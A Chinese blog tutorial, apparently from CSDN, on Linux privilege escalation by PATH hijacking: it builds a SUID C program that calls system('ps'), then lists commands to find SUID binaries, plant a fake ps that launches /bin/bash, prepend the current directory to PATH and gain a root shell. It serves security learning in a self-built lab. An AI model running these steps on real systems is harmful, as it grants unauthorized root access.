列出linux所有suid程序,Linux如何利用可执行文件SUID提权

PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上运行任何命令时,它会通过PATH变量来响应用户执行的命令,向shell发送请求以搜索可执行文件。超级用户通常还具有/ sbin和/ usr / sbin条目以便于执行系统管理命令。

SUID属性一般用在可执行文件上,当用户执行该文件时,会临时拥有该执行文件的所有者权限。一旦程序拥有SUID权限的话,运行该程序时会以最高权限运行。

查看$PATH变量

fire@fire-Box:~$ echo $PATH

/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/bin

环境搭建

我们需要先生成一个具有SUID权限的程序,所以先编写一个c语言程序,代码如下:

#include

#include

int main(void)

{

setuid(0);

setgid(0);

system("ps");

return 0;

}

然后对其进行编译,并给编译出来的赋予SUID权限(chmod u+s pwn等同于chmod 4755 pwn)

9f6614c8ed77b7b3fbdeca96b214607d.png

开始提权

现在归结1种提权方法,就是修改环境变量调用 /bin/bahs 程序。下面来看具体操作:

find . -perm -u=s -type f 2>/dev/null # 在当前目录下查找具有SUID权限的可执行文件

echo "/bin/bash" > ps # 在当前目录下生成一个内容为 /bin/bash 的ps文件

chmod 777 ps # 给它可执行权限

echo $PATH # 查看当前环境变量

export PATH=.:$PATH # 将当前路径添加到环境变量中

./pwn # 执行具有SUID权限程序

4adb5959959a6acb00e5783c8e3075d0.png

首先我们使用 find . -perm -u=s -type f 2>/dev/null 在当前目录下查找具有SUID权限的可执行文件,我们找到了pwn。由于pwn程序调用了了系统的ps程序,所以我们要在当前目录下生成一个内容为 /bin/bash 的ps文件,并给它可执行权限,然后我们再把当前路径添加到环境变量中,这样做的目的就是然程序搜索ps程序的时候,先从当前目录开始搜索,这样就会搜索到我们生成的ps文件,从而执行 /bin/bash 程序,达到提权的目的。

我们还可以使用创建软链接的方式来替代上面的 echo "/bin/bash">ps && chmod 777 ps 命令,这种方式更快些。

ln -s /bin/bash ps

eb7cf08ce75e432f844f9818e9ebc76e.png

相关主题

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值